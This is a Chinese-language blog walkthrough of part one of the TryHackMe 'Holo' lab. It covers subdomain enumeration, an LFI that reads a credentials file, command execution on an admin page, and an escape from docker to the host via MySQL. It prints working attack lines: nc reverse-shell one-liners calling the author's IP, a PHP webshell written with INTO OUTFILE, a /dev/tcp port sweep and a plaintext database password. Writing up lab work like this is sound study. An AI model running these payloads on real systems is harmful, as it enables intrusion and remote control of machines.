Try Hack Me-Holo(Hard)上

Chixy 2023-03-15 10:11:49

这个靶场在THM属于困难难度,打起来因为网络不稳定,很难受。但是真的有挺多知识点在里面,打起来还是很爽的。各位师傅有THM账号的话可以尝试下哦,如果有更好的解法欢迎各位师傅指点。

首先连上咱的v*n,开始

信息搜集

ip存活探测

──(kalikali)-[~]
└─$ sudo nmap -sn 10.200.109.0/24               
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 19:37 CST
Nmap scan report for 10.200.109.33
Host is up (0.23s latency).
Nmap scan report for 10.200.109.250
Host is up (0.23s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 30.05 seconds

发现ip 10.200.109.33 10.200.109.250

端口扫描

┌──(kalikali)-[~]                                                                                 
└─$ sudo nmap --min-rate 10000 -p- 10.200.109.33                                                    
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 19:40 CST                                     
Stats: 0:00:04 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan                            
Parallel DNS resolution of 1 host. Timing: About 0.00% done                                         
Nmap scan report for 10.200.109.33                                                                  
Host is up (0.24s latency).                                                                         
Not shown: 65532 closed tcp ports (reset)                                                           
PORT      STATE SERVICE                                                                             
22/tcp    open  ssh                                                                                 
80/tcp    open  http                                                                                
33060/tcp open  mysqlx       
┌──(kalikali)-[~]                                                                                 │
└─$ sudo nmap --min-rate 10000 -p- 10.200.109.250Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 19:41 CSTNmap scan report for 10.200.109.250Host is up (0.23s latency).                                                                         │
Not shown: 65533 closed tcp ports (reset)PORT     STATE SERVICE22/tcp   open  ssh1337/tcp open  waste                                                                                │
                                                                                                    │
Nmap done: 1 IP address (1 host up) scanned in 21.05 seconds

通过端口扫描,发现10.200.109.33存在80端口开放http服务,作为一名合格的安服仔,直接打开浏览器和BurpSuite,开始进行渗透。打开页面,发现无论点击哪个链接,都会跳转www.holo.live,并且网页中加载的图片也是在holo.live上
xsyc.png
于是我们可以将Host更改为10.200.109.33 www.holo.live
xsyc.png
网站显示正常,此时应该可以想到,是否有子域名绑定在这个IP上,
于是开始枚举子域名,枚举子域名前,应该先将holo.live 添加进hosts文件中(这段卡了我一个小时,不添加就会一直爆出403的子域名,还以为我的gobuster坏了)

sudo echo '10.200.109.33    holo.live' >> /etc/hosts

然后使用gobuster进行爆破子域名

gobuster vhost -u holo.live -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

我们很容易爆出三个子域名

┌──(kalikali)-[~/Desktop]
└─$ gobuster vhost -u holo.live -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://holo.live
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/03/09 18:23:42 Starting gobuster in VHOST enumeration mode
===============================================================
Found: www.holo.live Status: 200 [Size: 21405]
Found: dev.holo.live Status: 200 [Size: 7515]
Found: admin.holo.live Status: 200 [Size: 1845]

将他们三个添加进hosts中,信息搜集完毕。接下来开始正式的进入WEB层面渗透。

WEB渗透

首先三个域名中最可疑的,当属dev.holo.live了。我们就从它来开刀。
在浏览器中访问它,随便看看,点击Talents选项卡,映入眼帘的是一群二次元可爱妹子的图片devhololive.png

查看图片加载路径为

http://dev.holo.live/img.php?file=images/korone.jpg

看着这个file参数很可疑,于是尝试任意文件读取
LFI.png
一发入魂,完美。
没有什么其他可疑的地方了,于是我们尝试进行目录爆破

┌──(kalikali)-[~/Desktop]
└─$ gobuster dir --url http://dev.holo.live/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.holo.live/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/03/09 19:01:13 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/admin                (Status: 403) [Size: 278]
/admin.php            (Status: 403) [Size: 278]
/css                  (Status: 301) [Size: 312] [--> http://dev.holo.live/css/]
/fonts                (Status: 301) [Size: 314] [--> http://dev.holo.live/fonts/]
/images               (Status: 301) [Size: 315] [--> http://dev.holo.live/images/]
/index.php            (Status: 200) [Size: 7515]
/javascript           (Status: 301) [Size: 319] [--> http://dev.holo.live/javascript/]
/js                   (Status: 301) [Size: 311] [--> http://dev.holo.live/js/]
/login                (Status: 403) [Size: 278]

因为不知道路径,所以还需要爆破默认路径,因为太麻烦,我决定三个域名同时进行目录爆破,这样挖掘漏洞的广度也会增加。

gobuster dir --url http://www.holo.live/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
gobuster dir --url http://admin.holo.live -w /usr/share/seclists/Discovery/Web-Content/common.txt

意外的发现有两个robots.txt
robots1.png
这个xlmrpc里面有可能有洞,尝试半天,无果。
robots2.png
这个cerds.txt很可疑,还记得我们刚开始弄出的LFI吗?拿来读一下
creds.png
niubility,我们尝试使用账号密码进入后台。
进入后,主页并没有什么功能,查看源代码,发现了不得了的东西
cmd.png
然后我们传入一个cmd=whoami,就可以获取到命令返回
whoami.png
ohh!!!!直接来反弹shell,然后提权日内网,就快结束了。在这给大家推荐个小插件,Utools中的反弹Shell插件,肥肠方便。。。
ftshell.png
通过nc

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.50.105.164%206666%20%3E%2Ftmp%2Ff

成功反弹shell!!!
shell.png
通过ip我们知道,我们并不是再真正的L-SRV01上面,而是在底下的docker中
因为这个shell的交互性太差了,所以我们使用python来升级下终端操作。

python3 -c 'import pty; pty.spawn("/bin/bash")'

Docker逃逸

主机信息搜集

ifconfig1.png

hostname.png

arp.png
可以确定这是一台docker主机。所以升不升级root权限无所谓,直接想办法干宿主机才是真的。
我们发现有一台IP为192.168.100.1的机器,通过经验判断,这个就是宿主机的IP地址了。

我们先写个丑陋并且使用的端口检测脚本,看看开放了哪些端口。

for i in {1..10000};do 2>/dev/null > /dev/tcp/192.168.100.1/$i && echo Port $i open;done
www-data@f54c1997586e:/tmp/chixy$ for i in {1..10000};do 2>/dev/null > /dev/tcp/192.168.100.1/$i && echo Port $i open;done
Port 22 open
Port 80 open
Port 3306 open
Port 8080 open

80端口映射的就是此docker中的http服务,所以8080极有可能是宿主机http服务
通过信息搜集,凭据查找
dmysql.png
本机数据库账密
hmysql.png
192.168.100.1的账密

MySQL逃逸

有了192.168.100.1的数据库账号密码,我们直接通过mysql连接宿主机尝试

www-data@191902672d7f:/var/www/admin$ mysql -h 192.168.100.1 -u admin -p 
mysql -h 192.168.100.1 -u admin -p 
Enter password: !123SecureAdminDashboard321!

sqlconnect.png
拿到了宿主机mysql权限,可以尝试直接使用mysql写一个webshell,方便我们使用。

select '<?php system($_GET[sb]);?>' INTO OUTFILE '/var/www/html/shell1.php';

如果猜的没错,那么我们的shell将在http://192.168.100.1:8080上,所以我们通过

curl "http://192.168.100.1:8080/shell1.php?sb=id"

shell2.png
成功获取宿主机的www-data权限
尝试下反弹shell

curl "http://192.168.100.1:8080/shell1.php?sb=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.50.105.164%205555%20%3E%2Ftmp%2Ff"

rvshell.png
可以确定的是,我们成功拿到了宿主机L-SRV01的www-data权限。

网络一直不太稳定,拿到的权限没输入几条命令就掉,掉了就要重来,心累。。。
等我解决了网络问题再写下篇吧,各位师傅如果有优质的线路推荐,或者稳定的办法打靶场,欢迎各位师傅指点。

评论

C

Chixy

这个人很懒,没有留下任何介绍

随机分类

神器分享 文章:71 篇
PHP安全 文章:45 篇
其他 文章:95 篇
软件安全 文章:17 篇
浏览器安全 文章:36 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录